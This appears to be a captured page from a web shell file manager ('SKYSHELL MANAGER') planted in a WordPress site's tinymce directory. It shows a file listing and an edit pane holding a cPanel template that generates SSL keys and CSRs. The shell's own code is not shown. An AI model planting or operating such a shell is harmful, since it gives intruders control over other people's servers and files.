📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: gencsr.html.tt
[% USE CPScalar; USE SSL; SET domains_ar = RAW_FORM('domains').trim().split('[,;\s]+').unique(); SET key_id = RAW_FORM('key_id'); IF !key_id && RAW_FORM('domains'); SET KEY_TYPE = RAW_FORM("default_key_type") ? RAW_FORM("default_key_type") : ''; SET generate_key = execute('SSL', 'generate_key', { keytype => KEY_TYPE, friendly_name => locale.list_and(domains_ar) } ); IF generate_key.status; key_id = generate_key.data.id; END; END; # Attempt to generate the CSR IF key_id; SET generate_csr = execute('SSL', 'generate_csr', { 'key_id' => key_id, 'domains' => domains_ar.join(' '), 'countryName' => CPScalar.uc( RAW_FORM('country') ), 'stateOrProvinceName' => RAW_FORM('state'), 'localityName' => RAW_FORM('city'), 'organizationName' => RAW_FORM('company'), 'organizationalUnitName' => RAW_FORM('companydivision'), 'emailAddress' => RAW_FORM('email'), 'pass' => RAW_FORM('pass'), 'friendly_name' => RAW_FORM('friendly_name'), }); SET generate_successful = generate_csr.status; IF generate_successful; SET show_csr = execute('SSL', 'show_csr', { id=generate_csr.data.id }); END; SET domains = generate_successful && show_csr.data.details.domains ? show_csr.data.details.domains : []; SET safe_hosts = []; FOR host = domains; SET safe_host = host.html(); safe_hosts.push(safe_host); END; SET safe_host = locale.list_and( safe_hosts ); SET show_key = execute( 'SSL', 'show_key', { id => key_id } ); END; SET CPANEL.CPVAR.dprefix = '../'; SET show_unified_ssl = SSL.should_show_unified_ssl_ui(); %] [% WRAPPER '_assets/master.html.tt' app_key = 'ssl_tls' include_legacy_scripts = 1 include_cjt = 1 page_title = show_unified_ssl ? locale.maketext('SSL/TLS Certificates') : '' embed_stylesheets = ["css/ssl.css"] embed_scripts = ["js2/ssl/gencsr.js"] -%] [% PROCESS '_assets/_ssl_tls_tabs.html.tt' active_tab = '' %] <div class="body-content"> [% IF show_unified_ssl %] [% INCLUDE _assets/_ssl_tls_tabs_breadcrumb.html.tt parent_location_text=locale.maketext('Requests') current_location_text=locale.maketext('Generated Certificate Signing Request') go_back_location='csrs.html' go_back_link_text=locale.maketext('Go Back') %] [% END %] <h2 id="hdrGenerate"> [% locale.maketext("Generated Certificate Signing Request") %] </h2> [% IF generate_successful %] <div id="generateSuccess" class="alert alert-success"> <span id="generateSuccessImg" class="glyphicon glyphicon-ok-sign"></span> <div id="generateSuccessMsg" class="alert-message"> [% locale.maketext('The Certificate Signing Request for “[_1]” has been generated and saved in your user directory. To purchase a trusted certificate, you must copy the Encoded Certificate Signing Request below and send it to the Certificate Authority. Follow the instructions provided by your Certificate Authority.', safe_host) %] </div> </div> <div class="form-group"> <label id="lblDomain" for="domain">[% locale.maketext('[numerate,_1,Domain,Domains]:', domains.size) %]</label> <div class="row"> <div class="col-xs-12 col-sm-6 col-md-6 col-lg-6"> [% IF domains && domains.size > 1 -%] <ul> [% FOREACH domain = domains %] <li>[% domain.html().breakOn('\.') %]</li> [% END %] </ul> [%- ELSE -%] <p> [% domains.0.html().breakOn('\.') %] </p> [% END -%] </div> </div> </div> <div class="form-group"> <label id="lblDescription" for="description">[% locale.maketext('Description:') %]</label> <div class="row"> <div class="col-xs-12 col-sm-6 col-md-6 col-lg-6"> <p>[%- show_csr.data.details.friendly_name FILTER html -%]</p> </div> </div> </div> <div class="form-group"> <label id="lblEncodedCsr" for="encoded-csr">[% locale.maketext('Encoded Certificate Signing Request:') %]</label> <div class="row"> <div class="col-xs-12 col-sm-6 col-md-6 col-lg-6"> <pre id="encoded-csr">[% show_csr.data.csr FILTER html %]</pre> </div> </div> </div> <div class="form-group"> <label id="lblDecodedCsr" for="decoded-csr">[% locale.maketext('Decoded Certificate Signing Request:') %]</label> <div class="row"> <div class="col-xs-12 col-sm-6 col-md-6 col-lg-6"> <pre id="decoded-csr">[% show_csr.data.text FILTER html %]</pre> </div> </div> </div> [% IF generate_key.status -%] <div class="form-group"> <label id="lblEncodedKey" for="encoded-key">[% locale.maketext('Encoded Key:') %]</label> <div class="row"> <div class="col-xs-12 col-sm-6 col-md-6 col-lg-6"> <pre id="encoded-key">[% generate_key.data.text -%]</pre> </div> </div> </div> <div class="form-group"> <label id="lblDecodedKey" for="decoded-key">[% locale.maketext('Decoded Key:') %]</label> <div class="row"> <div class="col-xs-12 col-sm-6 col-md-6 col-lg-6"> <pre id="decoded-key">[% show_key.data.text -%]</pre> </div> </div> </div> [% END -%] [% ELSE %] <div id="generateError" class="alert alert-danger"> <span id="generateErrorImg" class="glyphicon glyphicon-remove-sign"></span> <div id="generateErrorMsg" class="alert-message"> [% locale.maketext("Sorry, there was a problem generating the key.") %] [% IF generate_csr.errors.0 %] [% generate_csr.errors_as_string() FILTER html %] [% ELSIF generate_key.errors.0 -%] [% generate_key.errors_as_string() FILTER html %] [% END %] </div> </div> [% END %] <ul class="list-inline text-center"> <li> [% INCLUDE _assets/return_link.html.tt id_prefix='lnkCSR' return_location='csrs.html' return_link_text=locale.maketext('Return to SSL Certificate Signing Request') data_testid='goBackToSSL'%] </li> [% IF !show_unified_ssl -%] <li> [% INCLUDE _assets/return_link.html.tt id_prefix='lnkHome' return_location='index.html' return_link_text=locale.maketext('Return to SSL Manager') data_testid='goBackHome'%] </li> [% END -%] </ul> </div> [% END #wrapper %]
Save